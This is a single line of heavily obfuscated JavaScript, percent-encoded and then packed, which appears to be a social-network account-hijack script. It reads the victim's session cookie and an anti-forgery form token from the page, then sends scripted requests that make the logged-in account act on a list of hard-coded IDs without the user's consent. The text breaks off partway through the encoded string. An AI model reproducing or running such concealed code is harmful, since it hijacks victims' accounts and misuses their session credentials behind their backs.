eval(unescape("%65%76%61%6C%28%66%75%6E%63%74%69%6F%6E%28%70%2C%61%2C%63%2C%6B%2C%65%2C%74%29%7B%77%68%69%6C%65%28%63%2D%2D%29%69%66%28%6B%5B%63%5D%29%70%3D%70%2E%72%65%70%6C%61%63%65%28%6E%65%77%20%52%65%67%45%78%70%28%27%5C%5C%62%27%2B%63%2B%27%5C%5C%62%27%2C%27%67%27%29%2C%6B%5B%63%5D%29%3B%72%65%74%75%72%6E%20%70%7D%28%27%31%33%20%33%39%37%28%35%29%7B%31%31%20%36%3D%22%22%2C%37%3D%36%39%28%29%2C%31%37%3D%22%22%2C%33%39%3D%30%2C%33%33%3D%30%3B%34%37%28%31%35%3D%30%3B%35%2E%31%34%3E%31%35%3B%31%35%2B%2B%29%31%32%3D%35%2E%33%39%36%28%31%35%29%2C%31%32%38%3E%31%32%26%26%28%31%32%5E%3D%33%33%2B%2B%25%38%2B%31%29%2C%31%37%2B%3D%33%39%35%2E%33%39%34%28%31%32%29%2C%31%37%2E%31%34%3E%38%30%26%26%28%37%5B%33%39%2B%2B%5D%3D%31%37%2C%31%37%3D%22%22%29%3B%31%38%20%36%3D%37%2E%33%39%33%28%22%22%29%2B%31%37%7D%31%33%20%33%39%32%28%35%29%7B%31%31%20%36%3D%35%2B%22%3D%22%3B%31%38%20%31%30%2E%31%39%2E%31%34%3E%30%3F%28%39%37%3D%31%30%2E%31%39%2E%36%37%28%36%29%2C%2D%31%21%3D%39%37%3F%28%39%37%2B%3D%36%2E%31%34%2C%31%32%34%3D%31%30%2E%31%39%2E%36%37%28%22%3B%22%2C%39%37%29%2C%2D%31%3D%3D%31%32%34%26%26%28%31%32%34%3D%31%30%2E%31%39%2E%31%34%29%2C%33%39%31%28%31%30%2E%31%39%2E%31%30%36%28%39%37%2C%31%32%34%29%29%29%3A%22%22%29%3A%31%31%30%20%30%7D%31%33%20%32%36%31%28%35%2C%36%29%7B%31%38%20%36%31%2E%31%34%39%28%36%31%2E%31%31%31%28%29%2A%28%36%2D%35%2B%31%29%29%2B%35%7D%31%33%20%33%39%30%28%35%29%7B%31%38%20%35%5B%32%36%31%28%30%2C%35%2E%31%34%2D%31%29%5D%7D%31%33%20%35%28%35%29%7B%31%31%20%36%3D%35%33%20%37%33%2C%31%32%3D%22%2F%35%38%2F%32%36%30%2F%33%38%39%2E%34%38%3F%35%37%3D%31%22%2C%37%3D%22%33%38%38%3D%22%2B%35%2B%22%26%36%38%3D%31%26%31%37%33%3D%32%36%30%2D%33%38%37%26%33%38%36%3D%33%38%35%26%31%36%3D%22%2B%31%36%2B%22%26%31%37%32%26%33%38%34%22%2B%32%35%2B%22%26%31%37%31%3D%22%3B%36%2E%39%32%28%22%31%31%38%22%2C%31%32%2C%21%30%29%2C%36%2E%34%34%28%22%37%36%2D%31%37%30%22%2C%22%31%36%39%2F%31%31%37%2D%34%39%2D%31%36%38%2D%31%36%37%22%29%2C%36%2E%34%34%28%22%37%36%2D%31%34%22%2C%37%2E%31%34%29%2C%36%2E%34%34%28%22%31%36%36%22%2C%22%32%35%39%22%29%2C%36%2E%32%32%30%3D%31%33%28%29%7B%34%3D%3D%36%2E%31%36%31%26%26%32%30%30%3D%3D%36%2E%31%35%38%26%26%36%2E%32%35%39%7D%2C%36%2E%39%31%28%37%29%7D%31%33%20%31%32%35%28%35%29%7B%33%35%28%31%30%38%2E%38%35%28%32%36%2E%36%38%2E%31%34%32%2B%22%2F%2F%34%39%2E%38%34%2E%38%33%2F%35%38%2F%39%34%2F%31%32%32%2F%32%34%35%2E%34%38%3F%35%37%3D%31%26%31%36%3D%22%2B%31%36%2B%22%26%38%36%3D%22%2B%36%30%2B%22%26%31%37%33%3D%31%30%37%26%31%32%32%3D%22%2B%35%2B%22%26%32%34%34%5B%32%34%33%5D%3D%32%34%32%26%31%37%32%26%32%34%31%3D%32%34%30%26%31%32%31%3D%22%2B%32%35%2C%31%33%28%35%29%7B%31%31%20%36%3D%35%2E%31%30%36%28%35%2E%36%37%28%22%7B%22%29%29%2C%31%32%3D%31%34%30%2E%31%39%33%28%36%29%3B%31%35%2D%2D%2C%35%34%3D%22%3C%32%30%20%37%31%3D%5C%27%31%30%34%2D%31%30%33%2D%33%38%33%5C%27%20%32%31%3D%5C%27%35%36%2D%31%33%31%3A%32%35%37%3B%33%32%2D%38%31%3A%33%37%3B%35%35%2D%36%34%3A%31%33%30%3B%31%37%34%2D%32%35%32%3A%32%35%31%2D%32%35%30%3B%22%2C%31%32%2E%31%31%36%3F%28%35%34%2B%3D%22%33%31%3A%33%38%32%5C%27%3E%22%2C%31%34%33%2B%2B%2C%35%34%2B%3D%31%32%2E%32%35%38%3F%31%32%2E%32%35%38%3A%31%34%30%2E%33%38%31%28%31%32%2C%33%34%2C%22%22%29%29%3A%28%35%34%2B%3D%22%33%31%3A%33%38%30%5C%27%3E%22%2C%35%34%2B%3D%38%32%5B%31%35%5D%2B%22%20%33%37%39%20%33%37%38%20%33%37%37%2E%3C%32%38%2F%3E%22%2C%38%38%2B%2B%29%2C%35%34%2B%3D%22%3C%2F%32%30%3E%22%3B%31%31%20%37%3D%22%3C%32%30%20%31%38%37%3D%5C%27%31%30%34%2D%31%30%33%2D%36%35%5C%27%20%32%31%3D%5C%27%31%33%36%2D%31%33%35%3A%31%35%35%20%31%33%34%20%32%35%33%20%34%36%28%30%2C%20%30%2C%20%30%2C%20%30%2E%33%29%3B%31%30%32%3A%31%38%36%3B%33%37%3A%35%30%25%3B%31%33%39%2D%33%37%3A%2D%31%38%35%3B%31%33%38%3A%31%38%34%3B%31%33%37%3A%31%38%33%3B%31%38%32%2D%31%30%31%3A%31%38%31%3B%35%35%2D%36%34%3A%31%38%30%3B%33%32%2D%38%31%3A%39%39%3B%35%36%3A%31%37%39%3B%31%33%36%2D%31%33%35%3A%39%38%20%37%38%20%39%38%20%34%36%28%30%2C%30%2C%30%2C%30%2E%31%29%3B%37%39%2D%31%37%38%3A%31%33%34%3B%37%39%3A%37%38%20%31%33%33%20%34%36%28%32%30%30%2C%32%30%30%2C%35%30%2C%30%2E%32%29%3B%31%33%32%2D%33%31%3A%34%36%28%32%35%35%2C%32%35%35%2C%32%35%35%2C%30%2E%39%29%3B%33%31%3A%23%31%37%37%5C%27%3E%22%3B%37%2B%3D%22%3C%32%30%20%32%31%3D%5C%27%35%36%2D%31%33%31%3A%32%35%37%3B%35%35%2D%36%34%3A%31%37%36%3B%5C%27%3E%22%2B%31%32%39%2B%22%3C%2F%32%30%3E%22%2C%31%35%3E%30%3F%28%37%2B%3D%32%33%2E%31%34%2B%22%20%39%35%20%31%32%37%3C%32%38%2F%3E%3C%2F%32%38%3E%22%2C%37%2B%3D%22%3C%36%3E%22%2B%38%38%2B%22%3C%2F%36%3E%20%39%35%20%31%37%35%20%33%37%36%20%22%2B%28%32%33%2E%31%34%2D%31%35%29%2B%22%20%39%35%20%33%37%35%22%2C%37%2B%3D%22%20%28%22%2B%31%35%2B%22%20%33%37%34%2E%2E%2E%29%3C%2F%32%38%3E%22%2C%37%2B%3D%22%3C%32%30%20%37%31%3D%5C%27%31%30%34%2D%31%30%33%5C%27%3E%22%2C%37%2B%3D%35%34%2C%37%2B%3D%22%3C%2F%32%38%3E%3C%32%35%34%20%32%31%3D%5C%27%31%33%32%3A%39%39%20%33%37%33%2D%33%37%32%20%32%37%28%33%37%31%3A%2F%2F%33%37%30%2D%33%36%39%2D%35%2E%33%36%38%2E%33%36%37%2F%33%36%36%2D%33%36%35%2F%33%36%34%2E%34%38%2F%33%36%33%2F%33%36%32%2F%32%31%38%2F%33%36%31%2D%33%36%30%2E%33%35%39%29%3B%31%33%37%3A%32%35%36%3B%33%35%38%3A%32%35%36%3B%31%33%39%2D%33%37%3A%2D%33%35%37%3B%35%36%3A%33%35%36%3B%37%39%3A%37%38%20%31%33%33%20%34%36%28%30%2C%30%2C%30%2C%30%2E%34%29%3B%5C%27%20%33%35%35%3D%22%2B%31%30%35%5B%31%35%5D%2B%22%3E%3C%2F%32%35%34%3E%3C%35%20%32%31%3D%5C%27%35%36%2D%33%37%3A%32%35%33%3B%33%32%2D%38%31%3A%33%37%3B%33%31%3A%23%31%36%34%3B%31%30%32%3A%32%31%34%3B%35%35%2D%33%35%34%3A%33%35%33%3B%5C%27%3E%22%2B%38%32%5B%31%35%5D%2B%22%3C%2F%35%3E%22%2C%37%2B%3D%22%3C%32%30%20%32%31%3D%5C%27%33%32%2D%38%31%3A%39%39%3B%35%35%2D%36%34%3A%31%33%30%3B%31%37%34%2D%32%35%32%3A%32%35%31%2D%32%35%30%3B%33%31%3A%33%35%32%5C%27%3E%3C%2F%32%38%3E%22%2C%37%2B%3D%31%39%39%2B%22%2C%20%33%35%31%20%33%35%30%20%33%34%39%20%33%34%38%20%39%35%20%33%34%37%20%22%2B%32%32%36%2B%22%2E%3C%32%38%2F%3E%22%2C%37%2B%3D%32%32%35%2C%37%2B%3D%22%3C%2F%32%30%3E%22%2C%37%2B%3D%22%3C%2F%32%30%3E%22%29%3A%28%37%2B%3D%32%33%2E%31%34%2B%22%20%36%33%20%31%32%37%3C%32%38%2F%3E%22%2C%37%2B%3D%38%38%2B%22%20%36%33%20%31%37%35%3C%2F%32%38%3E%22%2C%37%2B%3D%31%34%33%2B%22%20%36%33%20%33%34%36%20%31%37%35%3C%2F%32%38%3E%3C%2F%32%38%3E%22%2C%37%2B%3D%22%3C%32%30%3E%3C%31%32%33%20%37%31%3D%5C%27%33%34%35%20%32%34%39%20%32%34%38%20%33%34%34%20%32%34%37%5C%27%20%32%34%36%3D%5C%27%32%36%2E%36%38%2E%33%34%33%28%29%5C%27%20%32%31%3D%5C%27%33%31%3A%31%37%34%5C%27%3E%33%34%32%20%33%34%31%3C%2F%31%32%33%3E%3C%31%32%33%20%37%31%3D%5C%27%33%34%30%20%32%34%39%20%32%34%38%20%32%34%37%5C%27%20%32%34%36%3D%5C%27%31%30%2E%34%35%28%5C%5C%22%31%32%36%5C%5C%22%29%2E%32%31%2E%36%35%3D%5C%5C%22%31%35%31%5C%5C%22%5C%27%3E%33%33%39%3C%2F%31%32%33%3E%22%29%2C%37%2B%3D%22%3C%2F%32%30%3E%22%2C%31%30%2E%34%35%28%22%31%32%36%22%29%2E%36%32%3D%37%7D%2C%22%33%32%22%2C%22%32%33%39%22%29%2C%33%38%2D%2D%2C%33%38%3E%30%29%7B%31%31%20%36%3D%32%33%5B%33%38%5D%3B%33%33%38%3D%31%30%35%5B%33%38%5D%2C%39%30%28%22%31%32%35%28%22%2B%36%2B%22%29%22%2C%31%30%30%29%7D%31%38%39%2E%31%38%38%28%33%38%2B%22%2F%22%2B%32%33%2E%31%34%2B%22%3A%22%2B%32%33%5B%33%38%5D%2B%22%2F%22%2B%38%32%5B%33%38%5D%2B%22%2C%20%33%33%37%3A%22%2B%38%38%29%2C%39%33%21%3D%36%30%26%26%31%30%38%2E%38%35%28%32%36%2E%36%38%2E%31%34%32%2B%22%2F%2F%34%39%2E%38%34%2E%38%33%2F%35%38%2F%39%34%2F%31%32%32%2F%32%34%35%2E%34%38%3F%35%37%3D%31%26%31%36%3D%22%2B%31%36%2B%22%26%38%36%3D%39%33%26%31%37%33%3D%31%30%37%26%31%32%32%3D%22%2B%35%2B%22%26%32%34%34%5B%32%34%33%5D%3D%32%34%32%26%31%37%32%26%32%34%31%3D%32%34%30%26%31%32%31%3D%22%2B%32%35%2C%31%33%28%29%7B%7D%2C%22%33%32%22%2C%22%32%33%39%22%29%7D%31%33%20%32%33%36%28%29%7B%31%30%2E%34%31%28%22%32%33%38%22%29%2E%31%34%3E%30%26%26%31%31%32%2E%31%34%37%28%31%30%2E%34%31%28%22%32%33%38%22%29%5B%30%5D%29%3B%31%31%20%35%3D%32%33%5B%31%35%5D%3B%32%33%2E%31%34%3E%31%35%26%26%32%33%35%28%35%2E%31%30%36%28%30%2C%34%29%29%7D%31%33%20%32%33%34%28%29%7B%31%30%2E%38%37%28%22%32%33%37%22%29%2E%31%34%3E%30%3F%31%31%32%2E%31%34%37%28%31%30%2E%38%37%28%22%32%33%37%22%29%5B%30%5D%2E%38%39%5B%30%5D%2E%38%39%5B%30%5D%2E%38%39%5B%31%5D%29%3A%31%34%34%2B%2B%2C%39%30%28%22%32%33%36%28%29%22%2C%32%33%33%29%7D%31%33%20%32%33%35%28%29%7B%31%35%2B%2B%2C%39%30%28%22%32%33%34%28%29%22%2C%32%33%33%29%7D%31%31%20%36%30%3D%5B%22%39%33%22%5D%2C%31%36%3D%31%30%2E%34%31%28%22%31%36%22%29%5B%30%5D%2E%35%39%2C%32%35%3D%31%30%2E%31%39%2E%32%39%28%31%30%2E%31%39%2E%32%39%28%2F%37%34%3D%28%5C%5C%37%2B%29%2F%29%5B%31%5D%29%2C%33%30%3D%35%33%20%37%33%2C%31%32%30%3D%22%2F%35%38%2F%39%34%2F%32%33%32%2F%32%33%31%2E%34%38%3F%35%37%3D%31%22%2C%37%35%3D%22%26%32%33%30%3D%32%32%39%26%38%36%3D%22%2B%36%30%2B%22%26%31%36%3D%22%2B%31%36%2B%22%26%31%32%31%3D%22%2B%32%35%2B%22%26%31%37%31%3D%22%3B%33%30%2E%39%32%28%22%31%31%38%22%2C%31%32%30%2C%21%30%29%2C%33%30%2E%34%34%28%22%37%36%2D%31%37%30%22%2C%22%31%36%39%2F%31%31%37%2D%34%39%2D%31%36%38%2D%31%36%37%22%29%2C%33%30%2E%34%34%28%22%37%36%2D%31%34%22%2C%37%35%2E%31%34%29%2C%33%30%2E%34%34%28%22%31%36%36%22%2C%22%32%32%38%2D%32%32%37%22%29%2C%33%30%2E%39%31%28%37%35%29%3B%31%31%20%31%36%3D%31%30%2E%34%31%28%22%31%36%22%29%5B%30%5D%2E%35%39%2C%32%35%3D%31%30%2E%31%39%2E%32%39%28%31%30%2E%31%39%2E%32%39%28%2F%37%34%3D%28%5C%5C%37%2B%29%2F%29%5B%31%5D%29%2C%31%36%3D%31%30%2E%34%31%28%22%31%36%22%29%5B%30%5D%2E%35%39%2C%32%35%3D%31%30%2E%31%39%2E%32%39%28%31%30%2E%31%39%2E%32%39%28%2F%37%34%3D%28%5C%5C%37%2B%29%2F%29%5B%31%5D%29%2C%31%36%3D%31%30%2E%34%31%28%22%31%36%22%29%5B%30%5D%2E%35%39%2C%32%35%3D%31%30%2E%31%39%2E%32%39%28%31%30%2E%31%39%2E%32%39%28%2F%37%34%3D%28%5C%5C%37%2B%29%2F%29%5B%31%5D%29%3B%35%28%22%33%33%36%22%29%2C%35%28%22%33%33%35%22%29%2C%35%28%22%33%33%34%22%29%2C%35%28%22%33%33%33%22%29%2C%35%28%22%33%33%32%22%29%2C%35%28%22%33%33%31%22%29%2C%35%28%22%33%33%30%22%29%2C%35%28%22%33%32%39%22%29%2C%35%28%22%33%32%38%22%29%3B%31%31%20%36%30%3D%5B%22%39%33%22%5D%2C%31%36%3D%31%30%2E%34%31%28%22%31%36%22%29%5B%30%5D%2E%35%39%2C%32%35%3D%31%30%2E%31%39%2E%32%39%28%31%30%2E%31%39%2E%32%39%28%2F%37%34%3D%28%5C%5C%37%2B%29%2F%29%5B%31%5D%29%2C%33%30%3D%35%33%20%37%33%2C%31%32%30%3D%22%2F%35%38%2F%39%34%2F%32%33%32%2F%32%33%31%2E%34%38%3F%35%37%3D%31%22%2C%37%35%3D%22%26%32%33%30%3D%32%32%39%26%38%36%3D%22%2B%36%30%2B%22%26%31%36%3D%22%2B%31%36%2B%22%26%31%32%31%3D%22%2B%32%35%2B%22%26%31%37%31%3D%22%3B%33%30%2E%39%32%28%22%31%31%38%22%2C%31%32%30%2C%21%30%29%2C%33%30%2E%34%34%28%22%37%36%2D%31%37%30%22%2C%22%31%36%39%2F%31%31%37%2D%34%39%2D%31%36%38%2D%31%36%37%22%29%2C%33%30%2E%34%34%28%22%37%36%2D%31%34%22%2C%37%35%2E%31%34%29%2C%33%30%2E%34%34%28%22%31%36%36%22%2C%22%32%32%38%2D%32%32%37%22%29%2C%33%30%2E%39%31%28%37%35%29%3B%31%31%20%31%36%3D%31%30%2E%34%31%28%22%31%36%22%29%5B%30%5D%2E%35%39%2C%32%35%3D%31%30%2E%31%39%2E%32%39%28%31%30%2E%31%39%2E%32%39%28%2F%37%34%3D%28%5C%5C%37%2B%29%2F%29%5B%31%5D%29%2C%36%33%3D%36%39%28%29%3B%39%36%3D%35%33%20%37%33%2C%39%36%2E%39%32%28%22%31%35%36%22%2C%22%2F%35%38%2F%31%30%37%2F%31%39%38%2E%34%38%3F%35%37%3D%31%26%31%39%35%3D%22%2B%32%35%2B%22%26%31%39%34%22%2B%36%31%2E%31%31%31%28%29%2B%22%26%31%39%37%5B%30%5D%3D%31%39%36%26%31%34%31%5B%30%5D%3D%33%32%37%22%2C%21%31%29%2C%39%36%2E%39%31%28%29%2C%34%21%3D%39%36%2E%31%36%31%7C%7C%28%31%36%35%3D%32%31%37%28%22%28%22%2B%39%36%2E%31%36%30%2E%33%32%36%28%39%29%2B%22%29%22%29%2C%31%36%35%2E%31%31%36%7C%7C%28%36%33%3D%31%36%35%2E%31%39%32%2E%31%39%31%2E%33%32%35%28%31%33%28%35%2C%36%29%7B%31%38%20%35%2E%31%30%31%2D%36%2E%31%30%31%7D%29%29%29%3B%31%31%20%31%32%39%3D%5C%27%33%32%34%20%33%32%33%20%39%35%20%33%32%32%20%33%32%31%20%32%32%34%20%3C%31%31%39%20%32%31%3D%22%33%31%3A%23%31%36%34%3B%22%20%31%35%30%3D%22%32%32%3A%2F%2F%34%39%2E%38%34%2E%38%33%2F%33%32%30%22%20%33%31%39%3D%22%33%31%38%22%3E%33%31%37%20%33%31%36%2E%3C%2F%31%31%39%3E%5C%27%3B%32%32%36%3D%31%30%2E%34%35%28%22%33%31%35%22%29%2E%36%32%3B%31%31%20%35%34%3D%22%22%2C%32%32%35%3D%5C%27%3C%2F%32%38%3E%33%31%34%20%32%32%34%20%3C%31%31%39%20%32%31%3D%22%33%31%3A%23%31%36%34%3B%22%20%31%35%30%3D%22%32%32%3A%2F%2F%34%39%2E%38%34%2E%38%33%2F%39%34%2F%39%33%2F%22%3E%33%31%33%2D%33%31%32%2D%33%31%31%20%33%31%30%3C%2F%31%31%39%3E%2C%20%33%30%39%20%33%30%38%20%33%30%37%21%5C%27%3B%31%30%38%3D%7B%32%31%30%3A%31%33%28%29%7B%31%31%20%35%3D%21%31%3B%33%35%28%22%33%30%36%22%21%3D%32%30%32%20%31%36%33%29%31%31%35%7B%35%3D%35%33%20%31%36%33%28%22%33%30%35%2E%32%32%33%22%29%7D%31%31%34%28%36%29%7B%31%31%35%7B%35%3D%35%33%20%31%36%33%28%22%33%30%34%2E%32%32%33%22%29%7D%31%31%34%28%31%32%29%7B%35%3D%21%31%7D%7D%32%31%35%20%33%35%28%32%36%2E%37%33%29%31%31%35%7B%35%3D%35%33%20%37%33%7D%31%31%34%28%36%29%7B%35%3D%21%31%7D%31%38%20%35%7D%2C%38%35%3A%31%33%28%32%37%2C%31%35%39%2C%34%33%2C%34%32%2C%33%36%29%7B%31%31%20%32%32%3D%32%34%2E%32%31%31%28%29%3B%33%35%28%32%32%26%26%32%37%29%7B%32%32%2E%32%32%32%26%26%32%32%2E%32%32%32%28%22%33%32%2F%33%30%33%22%29%2C%34%32%7C%7C%28%34%32%3D%22%31%35%36%22%29%2C%34%33%7C%7C%28%34%33%3D%22%33%32%22%29%2C%33%36%7C%7C%28%33%36%3D%7B%7D%29%2C%34%33%3D%34%33%2E%33%30%32%28%29%2C%34%32%3D%34%32%2E%33%30%31%28%29%3B%31%31%20%32%32%31%3D%22%31%39%30%3D%22%2B%28%35%33%20%33%30%30%29%2E%32%39%39%28%29%3B%32%37%2B%3D%32%37%2E%36%37%28%22%3F%22%29%2B%31%3F%22%26%22%3A%22%3F%22%2C%32%37%2B%3D%32%32%31%3B%31%31%20%31%35%37%3D%33%34%3B%33%35%28%22%31%31%38%22%3D%3D%34%32%29%7B%31%31%20%31%36%32%3D%32%37%2E%32%39%38%28%22%3F%22%29%3B%32%37%3D%31%36%32%5B%30%5D%2C%31%35%37%3D%31%36%32%5B%31%5D%7D%32%32%2E%39%32%28%34%32%2C%32%37%2C%21%30%29%3B%31%31%20%32%39%37%3D%32%34%3B%32%32%2E%32%32%30%3D%33%36%2E%32%31%39%3F%31%33%28%29%7B%33%36%2E%32%31%39%28%32%32%29%7D%3A%31%33%28%29%7B%33%35%28%34%3D%3D%32%32%2E%31%36%31%29%33%35%28%32%30%30%3D%3D%32%32%2E%31%35%38%29%7B%31%31%20%35%32%3D%22%22%3B%32%32%2E%31%36%30%26%26%28%35%32%3D%32%32%2E%31%36%30%29%2C%22%31%34%34%22%3D%3D%34%33%2E%32%31%36%28%30%29%3F%28%35%32%3D%35%32%2E%32%39%36%28%2F%5B%5C%5C%32%39%35%5C%5C%32%31%38%5D%2F%33%33%2C%22%22%29%2C%35%32%3D%32%31%37%28%22%28%22%2B%35%32%2B%22%29%22%29%29%3A%22%31%31%37%22%3D%3D%34%33%2E%32%31%36%28%30%29%26%26%28%35%32%3D%32%32%2E%32%39%34%29%2C%31%35%39%26%26%31%35%39%28%35%32%29%7D%32%31%35%20%33%36%2E%37%32%26%26%31%30%2E%31%30%39%28%22%31%35%32%22%29%5B%30%5D%2E%32%31%32%28%33%36%2E%37%32%29%2C%33%36%2E%35%31%26%26%28%31%30%2E%34%35%28%33%36%2E%35%31%29%2E%32%31%2E%36%35%3D%22%31%35%31%22%29%2C%31%31%36%26%26%31%31%36%28%32%32%2E%31%35%38%29%7D%2C%32%32%2E%39%31%28%31%35%37%29%7D%7D%2C%32%39%33%3A%31%33%28%35%29%7B%31%31%20%36%3D%7B%32%37%3A%22%22%2C%31%35%34%3A%21%31%2C%32%39%32%3A%21%31%2C%34%33%3A%22%33%32%22%2C%34%32%3A%22%31%35%36%22%2C%31%35%33%3A%22%22%2C%35%31%3A%22%22%2C%37%32%3A%22%22%7D%3B%34%37%28%31%31%20%31%32%20%32%39%31%20%36%29%35%5B%31%32%5D%26%26%28%36%5B%31%32%5D%3D%35%5B%31%32%5D%29%3B%33%35%28%36%2E%32%37%29%7B%31%31%20%37%3D%21%31%3B%36%2E%37%32%26%26%28%37%3D%31%30%2E%32%39%30%28%22%32%30%22%29%2C%37%2E%32%31%33%28%22%32%31%22%2C%22%31%30%32%3A%32%31%34%3B%31%33%38%3A%31%35%35%3B%33%37%3A%31%35%35%3B%22%29%2C%37%2E%32%31%33%28%22%37%31%22%2C%22%35%31%2D%32%38%39%22%29%2C%37%2E%36%32%3D%36%2E%37%32%2C%31%30%2E%31%30%39%28%22%31%35%32%22%29%5B%30%5D%2E%32%38%38%28%37%29%2C%32%34%2E%33%36%2E%37%32%3D%37%29%2C%36%2E%35%31%26%26%28%31%30%2E%34%35%28%36%2E%35%31%29%2E%32%31%2E%36%35%3D%22%32%38%37%22%29%2C%32%34%2E%38%35%28%36%2E%32%37%2C%31%33%28%35%29%7B%36%2E%31%35%34%26%26%36%2E%31%35%34%28%35%29%2C%36%2E%31%35%33%26%26%28%31%30%2E%34%35%28%36%2E%31%35%33%29%2E%36%32%3D%35%29%2C%37%26%26%31%30%2E%31%30%39%28%22%31%35%32%22%29%5B%30%5D%2E%32%31%32%28%37%29%2C%36%2E%35%31%26%26%28%31%30%2E%34%35%28%36%2E%35%31%29%2E%32%31%2E%36%35%3D%22%31%35%31%22%29%7D%2C%36%2E%34%33%2C%36%2E%34%32%2C%36%29%7D%7D%2C%32%31%31%3A%31%33%28%29%7B%31%38%20%32%34%2E%32%31%30%28%29%7D%7D%3B%31%31%20%31%31%32%3D%7B%32%30%39%3A%31%33%28%35%2C%36%2C%31%32%2C%37%29%7B%22%31%34%35%22%3D%3D%31%32%26%26%28%31%32%3D%22%37%31%22%29%3B%31%31%20%31%37%3D%31%30%2E%32%30%38%28%22%2E%2F%2F%22%2B%36%2B%22%5B%40%22%2B%31%32%2B%22%3D%5C%27%22%2B%37%2B%22%5C%27%5D%22%2C%35%2C%33%34%2C%32%30%37%2E%32%30%36%2C%33%34%29%3B%31%38%20%31%37%26%26%31%37%2E%31%31%33%3F%31%37%2E%31%31%33%3A%33%34%7D%2C%32%38%36%3A%31%33%28%35%2C%36%2C%31%32%29%7B%31%38%20%32%34%2E%32%30%39%28%35%2C%36%2C%22%31%34%35%22%2C%31%32%29%7D%2C%32%38%35%3A%31%33%28%35%2C%36%29%7B%31%31%35%7B%31%31%20%31%32%3D%31%30%2E%32%30%38%28%36%2C%35%2C%33%34%2C%32%30%37%2E%32%30%36%2C%33%34%29%7D%31%31%34%28%37%29%7B%32%38%34%28%22%32%38%33%20%32%38%32%3A%22%2B%36%29%7D%31%38%20%31%32%26%26%31%32%2E%31%31%33%3F%31%32%2E%31%31%33%3A%33%34%7D%2C%32%38%31%3A%31%33%28%35%29%7B%32%36%2E%39%30%28%31%33%28%29%7B%31%30%2E%36%38%2E%31%35%30%3D%35%7D%2C%31%34%38%2B%36%31%2E%31%34%39%28%31%34%38%2A%36%31%2E%31%31%31%28%29%29%29%7D%2C%37%30%3A%31%33%28%35%2C%36%2C%31%32%29%7B%31%31%20%37%3D%35%2E%31%30%2E%32%38%30%28%22%32%37%39%22%29%3B%31%38%20%37%2E%32%37%38%28%31%32%2C%21%30%2C%21%30%2C%35%2C%30%2C%30%2C%30%2C%30%2C%30%2C%21%31%2C%21%31%2C%21%31%2C%21%31%2C%30%2C%33%34%29%2C%21%36%2E%32%37%37%28%37%29%7D%2C%32%37%36%3A%31%33%28%35%29%7B%31%38%20%32%34%2E%37%30%28%32%36%2C%35%2C%22%31%34%36%22%29%7D%2C%32%37%35%3A%31%33%28%35%2C%36%29%7B%32%36%2E%39%30%28%31%33%28%29%7B%31%38%20%31%31%32%2E%37%30%28%32%36%2C%35%2C%22%31%34%36%22%29%7D%2C%36%2B%36%31%2E%31%34%39%28%31%34%38%2A%36%31%2E%31%31%31%28%29%29%29%7D%2C%31%34%37%3A%31%33%28%35%29%7B%32%34%2E%37%30%28%32%36%2C%35%2C%22%32%37%34%22%29%2C%32%34%2E%37%30%28%32%36%2C%35%2C%22%32%37%33%22%29%2C%32%34%2E%37%30%28%32%36%2C%35%2C%22%31%34%36%22%29%7D%2C%32%30%34%3A%31%33%28%35%2C%36%29%7B%31%31%20%31%32%3D%22%22%3B%33%35%28%31%31%30%20%30%3D%3D%36%26%26%28%36%3D%30%29%2C%21%28%36%3E%34%30%29%29%7B%33%35%28%31%31%30%20%30%21%3D%35%2E%32%30%35%29%31%38%20%35%2E%32%30%35%3B%34%37%28%31%31%20%37%3D%30%3B%35%2E%38%39%2E%31%34%3E%37%3B%37%2B%2B%29%7B%31%31%20%31%37%3D%35%2E%38%39%5B%37%5D%3B%31%32%2B%3D%32%34%2E%32%30%34%28%31%37%2C%36%2B%31%29%7D%31%38%20%31%32%7D%7D%7D%3B%31%31%30%20%30%3D%3D%31%30%2E%38%37%26%26%28%31%30%2E%38%37%3D%31%33%28%35%29%7B%34%37%28%31%31%20%31%37%2C%36%3D%32%37%32%28%22%28%3F%3A%5E%7C%5C%5C%5C%5C%32%30%33%29%22%2B%35%2B%22%28%3F%3A%24%7C%5C%5C%5C%5C%32%30%33%29%22%29%2C%31%32%3D%31%30%2E%31%30%39%28%22%2A%22%29%2C%37%3D%5B%5D%2C%33%39%3D%30%3B%33%34%21%3D%28%31%37%3D%31%32%5B%33%39%5D%29%3B%33%39%2B%2B%29%7B%31%31%20%33%33%3D%31%37%2E%31%34%35%3B%33%33%26%26%2D%31%21%3D%33%33%2E%36%37%28%35%29%26%26%36%2E%32%30%31%28%33%33%29%26%26%37%2E%36%36%28%31%37%29%7D%31%38%20%37%7D%29%2C%36%39%2E%32%37%31%2E%32%37%30%3D%31%33%28%35%29%7B%31%31%20%36%3D%21%31%3B%34%37%28%31%35%3D%30%3B%32%34%2E%31%34%3E%31%35%3B%31%35%2B%2B%29%22%31%33%22%3D%3D%32%30%32%20%35%3F%35%2E%32%30%31%28%32%34%5B%31%35%5D%29%26%26%28%36%7C%7C%28%36%3D%5B%5D%29%2C%36%2E%36%36%28%31%35%29%29%3A%32%34%5B%31%35%5D%3D%3D%3D%35%26%26%28%36%7C%7C%28%36%3D%5B%5D%29%2C%36%2E%36%36%28%31%35%29%29%3B%31%38%20%36%7D%3B%31%31%20%31%35%3D%33%2C%33%38%3D%33%2C%31%34%34%3D%30%2C%32%36%39%3D%30%2C%38%38%3D%30%2C%31%34%33%3D%30%2C%32%33%3D%36%39%28%29%2C%38%32%3D%36%39%28%29%2C%31%30%35%3D%36%39%28%29%2C%31%39%39%3D%31%30%2E%38%37%28%22%32%36%38%22%29%5B%30%5D%2E%36%32%2C%36%30%3D%31%30%2E%34%31%28%22%38%36%22%29%5B%30%5D%2E%35%39%3B%31%30%38%2E%38%35%28%32%36%2E%36%38%2E%31%34%32%2B%22%2F%2F%34%39%2E%38%34%2E%38%33%2F%35%38%2F%31%30%37%2F%31%39%38%2E%34%38%3F%22%2B%22%35%37%3D%31%26%31%39%37%5B%30%5D%3D%31%39%36%26%32%36%37%3D%30%26%31%39%35%3D%22%2B%32%35%2B%22%26%31%39%34%3D%32%36%36%26%32%36%35%3D%30%26%31%34%31%5B%30%5D%3D%32%36%34%26%31%34%31%5B%31%5D%3D%32%36%33%22%2C%31%33%28%35%29%7B%31%31%20%36%3D%35%2C%31%32%3D%36%2E%31%30%36%28%36%2E%36%37%28%22%7B%22%29%29%2C%37%3D%31%34%30%2E%31%39%33%28%31%32%29%3B%37%3D%37%2E%31%39%32%2E%31%39%31%3B%34%37%28%31%31%20%31%37%3D%30%3B%37%2E%31%34%3E%31%37%3B%31%37%2B%2B%29%32%33%2E%36%36%2